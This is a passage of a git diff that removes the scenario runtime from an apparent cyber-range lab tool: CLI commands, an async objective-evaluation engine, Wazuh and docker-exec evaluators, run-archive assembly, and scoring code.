minutes = int(elapsed_seconds // 60) - seconds = int(elapsed_seconds % 60) - - typer.echo(f"Active scenario: {session.scenario_id}") - typer.echo(f" State: {session.state.value}") - if session.run_id: - typer.echo(f" Run ID: {session.run_id}") - typer.echo(f" Started: {session.started_at}") - typer.echo(f" Elapsed: {minutes}m {seconds}s") - typer.echo(f" Completed: {len(session.completed_objectives)} objectives") - typer.echo(f" Hints used: {len(session.hints_used)}") - - # Show scoring if we can load the scenario definition - try: - resolved_dir = _resolve_scenarios_dir(project_dir, scenarios_dir) - path = _find_scenario_by_name(resolved_dir, session.scenario_id) - scenario = load_scenario(path) - score = compute_score( - scenario, - session.completed_objectives, - session.hints_used, - elapsed_seconds, - ) - _print_score_summary(score) - except Exception as e: - log.debug("Could not compute score for status: %s", e) - - -@app.command() -def stop( - project_dir: Path = typer.Option( - Path("."), - "--project-dir", - "-d", - help="Path to the APTL project directory.", - ), - scenarios_dir: Path | None = typer.Option( - None, - "--scenarios-dir", - "-s", - help="Path to scenarios directory. Defaults to /scenarios.", - ), -) -> None: - """Stop the active scenario and assemble the run archive.""" - state = _state_dir(project_dir) - session_mgr = ScenarioSession(state) - session = _require_active_session(session_mgr) - _stop_scenario(project_dir, scenarios_dir, session_mgr, session) - - -# --------------------------------------------------------------------------- -# Scoring display helper -# --------------------------------------------------------------------------- - - -def _print_score_summary(score: ScoreReport) -> None: - """Print a formatted score summary.""" - typer.echo("") - typer.echo("Score:") - status_label = "PASS" if score.passed else "FAIL" - typer.echo(f" Total: {score.total_score}/{score.max_score} [{status_label}]") - typer.echo(f" Passing: {score.passing_score}") - if score.time_bonus > 0: - typer.echo(f" Time bonus: +{score.time_bonus}") - if score.hint_penalties > 0: - typer.echo(f" Penalties: -{score.hint_penalties}") - - typer.echo("") - typer.echo("Objectives:") - for os_ in score.objective_scores: - status = "DONE" if os_.completed else " " - penalty_str = f" (-{os_.hint_penalty})" if os_.hint_penalty > 0 else "" - typer.echo( - f" [{status}] {os_.objective_id}: " - f"{os_.earned}/{os_.base_points} pts{penalty_str}" - ) - - -# --------------------------------------------------------------------------- -# Evaluate command -# --------------------------------------------------------------------------- - - -@app.command() -def evaluate( - project_dir: Path = typer.Option( - Path("."), - "--project-dir", - "-d", - help="Path to the APTL project directory.", - ), - scenarios_dir: Path | None = typer.Option( - None, - "--scenarios-dir", - "-s", - help="Path to scenarios directory. Defaults to /scenarios.", - ), -) -> None: - """Run a single evaluation pass against the active scenario.""" - from aptl.core.engine import ScenarioEngine - - state = _state_dir(project_dir) - session_mgr = ScenarioSession(state) - session = _require_active_session(session_mgr) - scenario = _load_active_scenario(session, project_dir, scenarios_dir) - - # Load .env so evaluators can read credentials (Wazuh Indexer, etc.) - _load_env(project_dir) - - engine = ScenarioEngine(scenario, session_mgr) - results = asyncio.run(engine.evaluate_once()) - - if not results: - typer.echo("No evaluable objectives pending.") - return - - typer.echo("Evaluation results:") - for er in results: - status = "PASS" if er.passed else "FAIL" - typer.echo(f" [{status}] {er.objective_id}: {er.detail}") - - # Show current score - score = engine.get_score() - if score is not None: - _print_score_summary(score) - - -# --------------------------------------------------------------------------- -# Run command (combined start + evaluate loop + stop) -# --------------------------------------------------------------------------- - - -def _stop_scenario( - project_dir: Path, - scenarios_dir: Path | None, - session_mgr: ScenarioSession, - session: ActiveSession, -) -> None: - """Reusable stop logic (extracted from the stop command).""" - scenario = _load_active_scenario(session, project_dir, scenarios_dir) - started = datetime.fromisoformat(session.started_at) - now = datetime.now(timezone.utc) - elapsed = (now - started).total_seconds() - minutes = int(elapsed // 60) - seconds = int(elapsed % 60) - - if session.trace_id: - init_tracing() - try: - tracer = get_tracer() - start_ns = int(started.timestamp() * 1e9) - end_ns = int(now.timestamp() * 1e9) - create_root_span( - tracer=tracer, - scenario_id=session.scenario_id, - run_id=session.run_id, - start_time=start_ns, - end_time=end_ns, - trace_id=session.trace_id, - span_id=session.span_id, - ) - finally: - shutdown_tracing() - time.sleep(2) - - finished_session = session_mgr.finish() - - # Load .env so collectors in assemble_run() can read credentials (issue #184). - _load_env(project_dir) - - run_dir = None - if session.run_id: - try: - config_path = find_config(project_dir) - config = load_config(config_path) if config_path else AptlConfig() - local_path = Path(config.run_storage.local_path) - if not local_path.is_absolute(): - local_path = project_dir / local_path - store = LocalRunStore(local_path) - resolved_dir = _resolve_scenarios_dir(project_dir, scenarios_dir) - scenario_path = _find_scenario_by_name( - resolved_dir, session.scenario_id - ) - run_dir = assemble_run( - store=store, - run_id=session.run_id, - session=finished_session, - scenario=scenario, - scenario_path=scenario_path, - config=config, - ) - except Exception as e: - log.error("Failed to assemble run: %s", e) - typer.echo(f"Warning: Run assembly failed: {e}") - - session_mgr.clear() - state = _state_dir(project_dir) - ctx_file = state / "trace-context.json" - if ctx_file.exists(): - ctx_file.unlink() - - typer.echo(f"Scenario stopped: {scenario.metadata.name}") - typer.echo(f" Duration: {minutes}m {seconds}s") - flag_count = sum(len(v) for v in session.flags.values()) - typer.echo(f" Flags: {flag_count}") - if run_dir: - typer.echo(f" Run: {run_dir}") - - -def _start_scenario_session( - project_dir: Path, - scenarios_dir: Path | None, - name: str, -) -> tuple: - """Start a scenario session and return (scenario, session_mgr, session, run_id). - - Raises typer.Exit on validation failure. - """ - resolved_dir = _resolve_scenarios_dir(project_dir, scenarios_dir) - scenario = _load_scenario_or_exit(resolved_dir, name) - - config_path = find_config(project_dir) - config = load_config(config_path) if config_path else AptlConfig() - missing = validate_scenario_containers(scenario, config) - if missing: - typer.echo( - f"Error: Scenario '{scenario.metadata.id}' requires disabled profiles: " - f"{', '.join(missing)}\n" - f"Enable them in aptl.json or start the lab with the required profiles." - ) - raise typer.Exit(code=1) - - state = _state_dir(project_dir) - session_mgr = ScenarioSession(state) - - try: - session = session_mgr.start(scenario) - except ScenarioStateError as e: - log.error("Cannot start scenario: %s", e) - typer.echo(f"Error: {e}") - raise typer.Exit(code=1) from e - - run_id = uuid4().hex - session.run_id = run_id - session_mgr._write(session) - write_trace_context(state, session.trace_id, session.span_id) - - flags = collect_flags() - if flags: - session.flags = flags - session_mgr._write(session) - - init_tracing() - try: - tracer = get_tracer() - parent_ctx = make_parent_context(session.trace_id, session.span_id) - span = create_child_span(tracer, parent_ctx, "scenario.started", { - "aptl.scenario.id": scenario.metadata.id, - "aptl.scenario.mode": scenario.mode.value, - "aptl.run.id": run_id, - }) - span.end() - finally: - shutdown_tracing() - - return scenario, session_mgr, session, run_id - - -def _print_engine_report(engine_result, scenario, session_mgr, project_dir, scenarios_dir): - """Print engine results and run the stop phase.""" - from aptl.core.engine import EngineResult - - typer.echo("") - if engine_result.timed_out: - typer.echo("Engine stopped: timeout reached") - else: - typer.echo("Engine stopped: evaluation complete") - - if engine_result.score is not None: - _print_score_summary(engine_result.score) - - typer.echo(f"\n Cycles: {engine_result.evaluation_cycles}") - typer.echo(f" Elapsed: {int(engine_result.elapsed_seconds // 60)}m " - f"{int(engine_result.elapsed_seconds % 60)}s") - - typer.echo("") - session = session_mgr.get_active() - if session is not None and session_mgr.is_active(): - _stop_scenario(project_dir, scenarios_dir, session_mgr, session) - - -def _on_run_progress(cycle: int, results: list, score: ScoreReport) -> None: - """Progress callback for the run command.""" - completed = sum(1 for os_ in score.objective_scores if os_.completed) - total = len(score.objective_scores) - for r in results: - if r.passed: - typer.echo(f" [PASS] {r.objective_id}: {r.detail}") - typer.echo( - f" Cycle {cycle}: {completed}/{total} objectives, " - f"score {score.total_score}/{score.max_score}" - ) - - -@app.command() -def run( - name: str = typer.Argument(help=_SCENARIO_NAME_HELP), - project_dir: Path = typer.Option( - Path("."), - "--project-dir", - "-d", - help="Path to the APTL project directory.", - ), - scenarios_dir: Path | None = typer.Option( - None, - "--scenarios-dir", - "-s", - help="Path to scenarios directory. Defaults to /scenarios.", - ), - poll_interval: float = typer.Option( - 10.0, - "--poll-interval", - help="Seconds between evaluation cycles.", - ), - timeout: float | None = typer.Option( - None, - "--timeout", - help="Override timeout in minutes (default: scenario estimated_minutes).", - ), -) -> None: - """Start a scenario, evaluate objectives in real time, then stop. - - Combines start + evaluation loop + stop into a single command. - The engine periodically checks non-manual objectives against live - infrastructure. Press Ctrl+C for graceful shutdown. - """ - from aptl.core.engine import ScenarioEngine - - log.info("Starting scenario run: %s", name) - scenario, session_mgr, session, run_id = _start_scenario_session( - project_dir, scenarios_dir, name, - ) - - evaluable = [ - o for o in scenario.objectives.all_objectives() - if o.type != ObjectiveType.MANUAL - ] - manual_count = sum( - 1 for o in scenario.objectives.all_objectives() - if o.type == ObjectiveType.MANUAL - ) - - typer.echo(f"Started scenario: {scenario.metadata.name}") - typer.echo(f" Run ID: {run_id}") - typer.echo(f" Evaluable: {len(evaluable)} objectives (auto-checked)") - typer.echo(f" Manual: {manual_count} objectives (require manual completion)") - typer.echo(f" Trace ID: {session.trace_id}") - typer.echo("") - - if not evaluable: - typer.echo("No auto-evaluable objectives. Use 'aptl scenario stop' when done.") - return - - _load_env(project_dir) - - timeout_minutes = timeout if timeout is not None else float( - scenario.metadata.estimated_minutes - ) - - engine = ScenarioEngine( - scenario=scenario, - session_mgr=session_mgr, - poll_interval=poll_interval, - timeout_minutes=timeout_minutes, - on_progress=_on_run_progress, - ) - - shutdown_event = asyncio.Event() - - typer.echo(f"Evaluation engine started (poll every {poll_interval}s, " - f"timeout {timeout_minutes:.0f}m)") - typer.echo("Press Ctrl+C to stop gracefully.") - typer.echo("") - - def _signal_handler(sig: int, frame: object) -> None: - typer.echo("\nShutdown signal received, finishing current cycle...") - shutdown_event.set() - - original_sigint = signal.getsignal(signal.SIGINT) - original_sigterm = signal.getsignal(signal.SIGTERM) - signal.signal(signal.SIGINT, _signal_handler) - signal.signal(signal.SIGTERM, _signal_handler) - - try: - engine_result = asyncio.run(engine.run(shutdown_event)) - finally: - signal.signal(signal.SIGINT, original_sigint) - signal.signal(signal.SIGTERM, original_sigterm) - - _print_engine_report(engine_result, scenario, session_mgr, project_dir, scenarios_dir) diff --git a/src/aptl/core/engine.py b/src/aptl/core/engine.py deleted file mode 100644 index c03337e0b..000000000 --- a/src/aptl/core/engine.py +++ /dev/null @@ -1,307 +0,0 @@ -"""Scenario runtime engine with async evaluation loop. - -Drives a scenario through periodic objective evaluation cycles, -updating session state and scores incrementally. Emits OTel spans -for each evaluation event. -""" - -import asyncio -from collections.abc import Callable -from dataclasses import dataclass, field -from datetime import datetime, timezone - -from aptl.core.evaluators import EvaluationResult, evaluate_objective -from aptl.core.scenarios import ObjectiveType, ScenarioDefinition -from aptl.core.scenarios import ScenarioStateError -from aptl.core.scoring import ScoreReport, compute_score -from aptl.core.session import ActiveSession, ScenarioSession -from aptl.core.telemetry import ( - SPAN_EVALUATION, - create_child_span, - get_tracer, - init_tracing, - make_parent_context, - shutdown_tracing, -) -from aptl.utils.logging import get_logger - -log = get_logger("engine") - - -@dataclass -class EngineResult: - """Final result from the engine after it stops.""" - - completed_objectives: list[str] = field(default_factory=list) - score: ScoreReport | None = None - elapsed_seconds: float = 0.0 - timed_out: bool = False - evaluation_cycles: int = 0 - - -ProgressCallback = Callable[[int, list[EvaluationResult], ScoreReport], None] - - -def _parse_started_at(session: ActiveSession) -> datetime: - """Parse session start time, ensuring UTC timezone.""" - started_at = datetime.fromisoformat(session.started_at) - if not started_at.tzinfo: - started_at = started_at.replace(tzinfo=timezone.utc) - return started_at - - -def _pending_objectives( - all_objectives: list, - evaluable_ids: set[str], - completed: set[str], -) -> list: - """Return evaluable objectives that haven't been completed yet.""" - return [ - o for o in all_objectives - if o.id in evaluable_ids and o.id not in completed - ] - - -def _process_eval_results( - eval_results: list, - pending: list, - completed_set: set[str], - session_mgr: ScenarioSession, - tracer: object, - parent_ctx: object, - cycle: int, -) -> list[EvaluationResult]: - """Process raw gather results: log errors, record completions, emit spans.""" - cycle_results: list[EvaluationResult] = [] - for i, er in enumerate(eval_results): - if isinstance(er, Exception): - log.warning("Evaluation exception for %s: %s", pending[i].id, er) - continue - - cycle_results.append(er) - - if er.passed and er.objective_id not in completed_set: - session_mgr.record_objective_complete(er.objective_id) - completed_set.add(er.objective_id) - log.info("Objective completed: %s", er.objective_id) - - span = create_child_span( - tracer, parent_ctx, SPAN_EVALUATION, - { - "aptl.objective.id": er.objective_id, - "aptl.evaluation.passed": er.passed, - "aptl.evaluation.detail": er.detail, - "aptl.evaluation.cycle": cycle, - }, - ) - span.end() - - return cycle_results - - -def _try_state_transition(session_mgr: ScenarioSession, to_evaluating: bool) -> None: - """Attempt a session state transition, logging on failure.""" - try: - if to_evaluating: - session_mgr.set_evaluating() - else: - session_mgr.set_active_from_evaluating() - except ScenarioStateError as exc: - log.debug("State transition failed: %s", exc) - - -class ScenarioEngine: - """Async engine that evaluates scenario objectives in real time. - - The engine periodically checks all non-manual, non-completed - objectives against live infrastructure and updates session state - as objectives are completed. - - Args: - scenario: The scenario definition to evaluate. - session_mgr: Session manager for state persistence. - poll_interval: Seconds between evaluation cycles. - timeout_minutes: Max runtime in minutes (None = no timeout). - on_progress: Optional callback invoked after each cycle with - (cycle_number, results, score). - """ - - def __init__( - self, - scenario: ScenarioDefinition, - session_mgr: ScenarioSession, - poll_interval: float = 10.0, - timeout_minutes: float | None = None, - on_progress: ProgressCallback | None = None, - ) -> None: - self._scenario = scenario - self._session_mgr = session_mgr - self._poll_interval = poll_interval - self._timeout_minutes = timeout_minutes - self._on_progress = on_progress - self._all_objectives = scenario.objectives.all_objectives() - self._evaluable_ids = { - o.id - for o in self._all_objectives - if o.type != ObjectiveType.MANUAL - } - - def _is_timed_out(self, elapsed: float) -> bool: - """Check whether the engine has exceeded its timeout.""" - if self._timeout_minutes is None: - return False - return elapsed >= self._timeout_minutes * 60 - - def _update_result_from_session( - self, result: EngineResult, cycle: int, cycle_results: list[EvaluationResult], - elapsed: float, - ) -> None: - """Recompute score and update the engine result from current session.""" - session = self._session_mgr.get_active() - if session is None: - return - - score = compute_score( - self._scenario, - session.completed_objectives, - session.hints_used, - elapsed, - ) - result.score = score - result.completed_objectives = list(session.completed_objectives) - - if self._on_progress is not None: - try: - self._on_progress(cycle, cycle_results, score) - except Exception as e: - log.warning("Progress callback error: %s", e) - - async def run(self, shutdown_event: asyncio.Event) -> EngineResult: - """Main evaluation loop. - - Runs until all evaluable objectives are complete, the timeout - is reached, or the shutdown event is set. - """ - session = self._session_mgr.get_active() - if session is None: - log.error("No active session to run engine against") - return EngineResult() - - started_at = _parse_started_at(session) - - init_tracing() - tracer = get_tracer() - parent_ctx = make_parent_context(session.trace_id, session.span_id) - - result = EngineResult() - cycle = 0 - - try: - while not shutdown_event.is_set(): - cycle += 1 - elapsed = (datetime.now(timezone.utc) - started_at).total_seconds() - - if self._is_timed_out(elapsed): - log.info("Engine timeout reached after %.0fs", elapsed) - result.timed_out = True - break - - session = self._session_mgr.get_active() - if session is None: - log.warning("Session disappeared during engine run") - break - - completed_set = set(session.completed_objectives) - pending = _pending_objectives( - self._all_objectives, self._evaluable_ids, completed_set, - ) - - if not pending: - log.info("All evaluable objectives complete") - break - - _try_state_transition(self._session_mgr, to_evaluating=True) - - eval_results = await asyncio.gather( - *[evaluate_objective(o, session.started_at) for o in pending], - return_exceptions=True, - ) - - cycle_results = _process_eval_results( - eval_results, pending, completed_set, - self._session_mgr, tracer, parent_ctx, cycle, - ) - - _try_state_transition(self._session_mgr, to_evaluating=False) - self._update_result_from_session(result, cycle, cycle_results, elapsed) - result.evaluation_cycles = cycle - - try: - await asyncio.wait_for( - shutdown_event.wait(), timeout=self._poll_interval, - ) - break # shutdown was signaled - except asyncio.TimeoutError: - pass # normal cycle interval - - finally: - result.elapsed_seconds = ( - datetime.now(timezone.utc) - started_at - ).total_seconds() - result.evaluation_cycles = cycle - shutdown_tracing() - - return result - - async def evaluate_once(self) -> list[EvaluationResult]: - """Run a single evaluation pass and return results. - - Does not loop. Updates session state for completed objectives. - """ - session = self._session_mgr.get_active() - if session is None: - return [] - - completed_set = set(session.completed_objectives) - pending = _pending_objectives( - self._all_objectives, self._evaluable_ids, completed_set, - ) - - if not pending: - return [] - - eval_results = await asyncio.gather( - *[evaluate_objective(o, session.started_at) for o in pending], - return_exceptions=True, - ) - - results: list[EvaluationResult] = [] - for i, er in enumerate(eval_results): - if isinstance(er, Exception): - log.warning("Evaluation exception for %s: %s", pending[i].id, er) - continue - - results.append(er) - - if er.passed and er.objective_id not in completed_set: - self._session_mgr.record_objective_complete(er.objective_id) - completed_set.add(er.objective_id) - log.info("Objective completed: %s", er.objective_id) - - return results - - def get_score(self) -> ScoreReport | None: - """Compute current score snapshot.""" - session = self._session_mgr.get_active() - if session is None: - return None - - started_at = _parse_started_at(session) - elapsed = (datetime.now(timezone.utc) - started_at).total_seconds() - - return compute_score( - self._scenario, - session.completed_objectives, - session.hints_used, - elapsed, - ) diff --git a/src/aptl/core/evaluators.py b/src/aptl/core/evaluators.py deleted file mode 100644 index a535d5f63..000000000 --- a/src/aptl/core/evaluators.py +++ /dev/null @@ -1,310 +0,0 @@ -"""Objective evaluation executors for live infrastructure checks. - -Each evaluator checks one objective validation type against running -containers and services. All evaluators are async (wrapping blocking -I/O via ``asyncio.to_thread``) and fault-tolerant: they return -``EvaluationResult(passed=False)`` on error and never raise. -""" - -import asyncio -import re -from dataclasses import dataclass -from datetime import datetime, timedelta, timezone - -from aptl.core.collectors import _curl_json, _run_cmd -from aptl.core.scenarios import ( - CommandOutputValidation, - FileExistsValidation, - Objective, - ObjectiveType, - WazuhAlertValidation, -) -from aptl.utils.logging import get_logger - -log = get_logger("evaluators") - - -@dataclass -class EvaluationResult: - """Result of evaluating a single objective.""" - - objective_id: str - passed: bool - detail: str - checked_at: str - - -async def evaluate_wazuh_alert( - objective_id: str, - validation: WazuhAlertValidation, - session_started_at: str, - indexer_url: str = "https://localhost:9200", - auth: tuple[str, str] = ("admin", "SecretPassword"), -) -> EvaluationResult: - """Query Wazuh Indexer for alerts matching the objective's ES query. - - Wraps the objective's query in a time-range filter scoped to - the sliding window (now - time_window_seconds, now). Checks - whether at least ``min_matches`` hits are returned. - """ - now = datetime.now(timezone.utc) - checked_at = now.isoformat() - - # Use the later of: (now - time_window_seconds) or session start - window_start_dt = now - timedelta(seconds=validation.time_window_seconds) - session_start_dt = datetime.fromisoformat(session_started_at) - if not session_start_dt.tzinfo: - session_start_dt = session_start_dt.replace(tzinfo=timezone.utc) - if window_start_dt < session_start_dt: - window_start_dt = session_start_dt - - query = { - "query": { - "bool": { - "must": [ - validation.query, - { - "range": { - "@timestamp": { - "gte": window_start_dt.isoformat(), - "lte": checked_at, - } - } - }, - ], - } - }, - "size": 0, - "track_total_hits": True, - } - - url = f"{indexer_url}/wazuh-alerts-4.x-*/_search" - - try: - data = await asyncio.to_thread( - _curl_json, url, auth=auth, body=query, insecure=True, timeout=30 - ) - except Exception as e: - log.warning("Wazuh alert evaluation failed for %s: %s", objective_id, e) - return EvaluationResult( - objective_id=objective_id, - passed=False, - detail=f"Query error: {e}", - checked_at=checked_at, - ) - - if data is None: - return EvaluationResult( - objective_id=objective_id, - passed=False, - detail="Wazuh Indexer unreachable or query failed", - checked_at=checked_at, - ) - - total_hits = 0 - if isinstance(data, dict): - hits = data.get("hits", {}) - total = hits.get("total", {}) - if isinstance(total, dict): - total_hits = total.get("value", 0) - elif isinstance(total, int): - total_hits = total - - passed = total_hits >= validation.min_matches - detail = ( - f"{total_hits} matches (need {validation.min_matches})" - if not passed - else f"{total_hits} matches found" - ) - - log.info( - "Wazuh alert eval for %s: %d hits, need %d -> %s", - objective_id, - total_hits, - validation.min_matches, - "PASS" if passed else "FAIL", - ) - - return EvaluationResult( - objective_id=objective_id, - passed=passed, - detail=detail, - checked_at=checked_at, - ) - - -async def evaluate_command_output( - objective_id: str, - validation: CommandOutputValidation, -) -> EvaluationResult: - """Run a command in a container and check its output. - - Executes ``docker exec sh -c ''`` and checks - stdout for required strings and optional regex match. - """ - checked_at = datetime.now(timezone.utc).isoformat() - - cmd = [ - "docker", "exec", f"aptl-{validation.container}", - "sh", "-c", validation.command, - ] - - try: - result = await asyncio.to_thread(_run_cmd, cmd, 30) - except Exception as e: - log.warning("Command output evaluation failed for %s: %s", objective_id, e) - return EvaluationResult( - objective_id=objective_id, - passed=False, - detail=f"Execution error: {e}", - checked_at=checked_at, - ) - - if result is None or result.returncode != 0: - return EvaluationResult( - objective_id=objective_id, - passed=False, - detail="Command failed or container unreachable", - checked_at=checked_at, - ) - - output = result.stdout - - # Check all required strings - for required in validation.contains: - if required not in output: - return EvaluationResult( - objective_id=objective_id, - passed=False, - detail=f"Missing required string: {required!r}", - checked_at=checked_at, - ) - - # Check optional regex - if validation.regex is not None and not re.search(validation.regex, output): - return EvaluationResult( - objective_id=objective_id, - passed=False, - detail=f"Regex not matched: {validation.regex}", - checked_at=checked_at, - ) - - log.info("Command output eval for %s: PASS", objective_id) - return EvaluationResult( - objective_id=objective_id, - passed=True, - detail="All checks passed", - checked_at=checked_at, - ) - - -async def evaluate_file_exists( - objective_id: str, - validation: FileExistsValidation, -) -> EvaluationResult: - """Check whether a file exists in a container, optionally checking content. - - Uses ``docker exec cat `` to both verify existence - and read content in one call. - """ - checked_at = datetime.now(timezone.utc).isoformat() - - cmd = [ - "docker", "exec", f"aptl-{validation.container}", - "cat", validation.path, - ] - - try: - result = await asyncio.to_thread(_run_cmd, cmd, 30) - except Exception as e: - log.warning("File exists evaluation failed for %s: %s", objective_id, e) - return EvaluationResult( - objective_id=objective_id, - passed=False, - detail=f"Execution error: {e}", - checked_at=checked_at, - ) - - if result is None or result.returncode != 0: - return EvaluationResult( - objective_id=objective_id, - passed=False, - detail=f"File not found: {validation.path}", - checked_at=checked_at, - ) - - # Optionally check content - if validation.contains is not None: - if validation.contains not in result.stdout: - return EvaluationResult( - objective_id=objective_id, - passed=False, - detail=f"File exists but missing content: {validation.contains!r}", - checked_at=checked_at, - ) - - log.info("File exists eval for %s: PASS", objective_id) - return EvaluationResult( - objective_id=objective_id, - passed=True, - detail=f"File exists: {validation.path}", - checked_at=checked_at, - ) - - -async def evaluate_objective( - objective: Objective, - session_started_at: str, -) -> EvaluationResult: - """Dispatch evaluation to the correct evaluator based on objective type. - - Returns a not-evaluable result for MANUAL objectives. - """ - if objective.type == ObjectiveType.MANUAL: - return EvaluationResult( - objective_id=objective.id, - passed=False, - detail="Manual objective (not auto-evaluable)", - checked_at=datetime.now(timezone.utc).isoformat(), - ) - - if objective.type == ObjectiveType.WAZUH_ALERT: - if objective.wazuh_alert is None: - return EvaluationResult( - objective_id=objective.id, - passed=False, - detail="Missing wazuh_alert validation config", - checked_at=datetime.now(timezone.utc).isoformat(), - ) - return await evaluate_wazuh_alert( - objective.id, - objective.wazuh_alert, - session_started_at, - ) - - if objective.type == ObjectiveType.COMMAND_OUTPUT: - if objective.command_output is None: - return EvaluationResult( - objective_id=objective.id, - passed=False, - detail="Missing command_output validation config", - checked_at=datetime.now(timezone.utc).isoformat(), - ) - return await evaluate_command_output(objective.id, objective.command_output) - - if objective.type == ObjectiveType.FILE_EXISTS: - if objective.file_exists is None: - return EvaluationResult( - objective_id=objective.id, - passed=False, - detail="Missing file_exists validation config", - checked_at=datetime.now(timezone.utc).isoformat(), - ) - return await evaluate_file_exists(objective.id, objective.file_exists) - - return EvaluationResult( - objective_id=objective.id, - passed=False, - detail=f"Unknown objective type: {objective.type}", - checked_at=datetime.now(timezone.utc).isoformat(), - ) diff --git a/src/aptl/core/run_assembler.py b/src/aptl/core/run_assembler.py deleted file mode 100644 index 983f6143f..000000000 --- a/src/aptl/core/run_assembler.py +++ /dev/null @@ -1,173 +0,0 @@ -"""Run assembly orchestrator. - -Collects all experiment data from various sources and writes it to -a structured run directory via the storage backend. -""" - -import os -from datetime import datetime, timezone -from pathlib import Path - -from aptl.core.collectors import ( - collect_container_logs, - collect_misp_events, - collect_shuffle_executions, - collect_suricata_eve, - collect_thehive_cases, - collect_traces, - collect_wazuh_alerts, -) -from aptl.core.config import AptlConfig -from aptl.core.runstore import LocalRunStore, RunManifest -from aptl.core.scenarios import ScenarioDefinition -from aptl.core.session import ActiveSession -from aptl.core.snapshot import capture_snapshot -from aptl.utils.logging import get_logger - -log = get_logger("run_assembler") - - -def _active_containers() -> list[str]: - """List running Docker containers with the aptl- prefix.""" - import subprocess - - try: - result = subprocess.run( - ["docker", "ps", "--format", "{{.Names}}", "--filter", "name=aptl-"], - capture_output=True, - text=True, - timeout=10, - ) - if result.returncode == 0: - return [n.strip() for n in result.stdout.splitlines() if n.strip()] - except (subprocess.TimeoutExpired, OSError): - pass - return [] - - -def assemble_run( - store: LocalRunStore, - run_id: str, - session: ActiveSession, - scenario: ScenarioDefinition, - scenario_path: Path, - config: AptlConfig, -) -> Path: - """Assemble a complete run directory after scenario stop. - - Collects data from all sources and writes it to the run store. - Each collector is fault-tolerant — failures are logged but do - not prevent the rest of the assembly from completing. - - Returns: - Path to the run directory. - """ - finished_at = datetime.now(timezone.utc).isoformat() - started_at = session.started_at - - # 1. Create run directory - run_dir = store.create_run(run_id) - log.info("Assembling run %s at %s", run_id, run_dir) - - # 1b. Capture range snapshot - try: - snapshot = capture_snapshot(config_dir=scenario_path.parent) - store.write_json(run_id, "snapshot.json", snapshot.to_dict()) - except Exception: - log.exception("Failed to capture range snapshot") - - # 2. Write flags - store.write_json(run_id, "flags.json", session.flags) - - # 3. Copy scenario YAML - if scenario_path.exists(): - store.copy_file(run_id, "scenario/definition.yaml", scenario_path) - - # 4. Collect Wazuh alerts - indexer_url = os.getenv("APTL_INDEXER_URL", "https://localhost:9200") - indexer_user = os.getenv("INDEXER_USERNAME", "admin") - indexer_pass = os.getenv("INDEXER_PASSWORD", "SecretPassword") - alerts = collect_wazuh_alerts( - started_at, finished_at, - indexer_url=indexer_url, - auth=(indexer_user, indexer_pass), - ) - store.write_jsonl(run_id, "wazuh/alerts.jsonl", alerts) - - # 5. Collect Suricata EVE - eve_entries = collect_suricata_eve(started_at, finished_at) - if eve_entries: - store.write_jsonl(run_id, "suricata/eve.jsonl", eve_entries) - - # 6. Collect TheHive cases - thehive_url = os.getenv("THEHIVE_URL", "http://localhost:9000") - thehive_key = os.getenv("THEHIVE_API_KEY", "") - cases = collect_thehive_cases( - started_at, finished_at, url=thehive_url, api_key=thehive_key - ) - if cases: - store.write_json(run_id, "soc/thehive-cases.json", cases) - - # 7. Collect MISP correlations - misp_url = os.getenv("MISP_URL", "https://localhost:8443") - misp_key = os.getenv("MISP_API_KEY", "") - misp_events = collect_misp_events( - started_at, finished_at, url=misp_url, api_key=misp_key - ) - if misp_events: - store.write_json(run_id, "soc/misp-correlations.json", misp_events) - - # 8. Collect Shuffle executions - shuffle_url = os.getenv("SHUFFLE_URL", "http://localhost:5001") - shuffle_key = os.getenv("SHUFFLE_API_KEY", "") - shuffle_execs = collect_shuffle_executions( - started_at, finished_at, url=shuffle_url, api_key=shuffle_key - ) - if shuffle_execs: - store.write_json(run_id, "soc/shuffle-executions.json", shuffle_execs) - - # 9. Collect container logs - containers = _active_containers() - container_logs = collect_container_logs(containers, started_at, finished_at) - for name, log_text in container_logs.items(): - store.write_file( - run_id, f"containers/{name}.log", log_text.encode("utf-8") - ) - - # 10. Collect traces from Tempo - spans: list[dict] = [] - if session.trace_id: - spans = collect_traces(session.trace_id) - if spans: - store.write_json(run_id, "traces/spans.json", spans) - - # 11. Write manifest - started_dt = datetime.fromisoformat(started_at) - finished_dt = datetime.fromisoformat(finished_at) - duration = (finished_dt - started_dt).total_seconds() - - manifest: RunManifest = { - "run_id": run_id, - "scenario_id": scenario.metadata.id, - "scenario_name": scenario.metadata.name, - "started_at": started_at, - "finished_at": finished_at, - "duration_seconds": duration, - "trace_id": session.trace_id, - "config_snapshot": { - "lab": config.lab.model_dump(), - "containers": config.containers.model_dump(), - }, - "containers": containers, - "flags_captured": sum(len(v) for v in session.flags.values()), - } - store.write_json(run_id, "manifest.json", manifest) - - log.info( - "Run %s assembled: %d alerts, %d spans, %d container logs", - run_id, - len(alerts), - len(spans), - len(container_logs), - ) - return run_dir diff --git a/src/aptl/core/scenarios.py b/src/aptl/core/scenarios.py index 16022223d..acfc9831b 100644 --- a/src/aptl/core/scenarios.py +++ b/src/aptl/core/scenarios.py @@ -1,15 +1,8 @@ -"""Scenario runtime support — exceptions, loading, and type re-exports. - -This module provides the runtime interface for scenario operations. -The SDL specification models live in ``aptl.core.sdl``. The runtime -evaluation models (objectives, attacks) live in ``aptl.core.objectives`` -and ``aptl.core.attacks``. - -NOTE: The runtime code (engine, evaluators, scoring, CLI) references -models and fields that were removed from the SDL Scenario model during -the legacy binding cleanup. Those references will be reconnected in -future requirements. Until then, some runtime imports from this module -will fail at call sites that access removed fields. +"""Scenario loading helpers and shared exceptions for SDL specifications. + +The SDL models live in ``aptl.core.sdl``. This module intentionally +provides only file loading, discovery, and exception types shared by +the current SDL-only surface. """ from pathlib import Path diff --git a/src/aptl/core/scoring.py b/src/aptl/core/scoring.py deleted file mode 100644 index cddee2b28..000000000 --- a/src/aptl/core/scoring.py +++ /dev/null @@ -1,146 +0,0 @@ -"""Scenario scoring computation. - -Pure-function score calculation based on completed objectives, hint -usage, and elapsed time. Consumes existing Pydantic models from -``scenarios.py`` and returns structured score reports. -""" - -from dataclasses import dataclass, field - -from aptl.core.scenarios import Objective, ScenarioDefinition - - -@dataclass -class ObjectiveScore: - """Score breakdown for a single objective.""" - - objective_id: str - base_points: int - hint_penalty: int - earned: int - completed: bool - - -@dataclass -class ScoreReport: - """Complete score report for a scenario run.""" - - total_score: int - max_score: int - passing_score: int - passed: bool - time_bonus: int - hint_penalties: int - objective_scores: list[ObjectiveScore] = field(default_factory=list) - - -def _hint_penalty(objective: 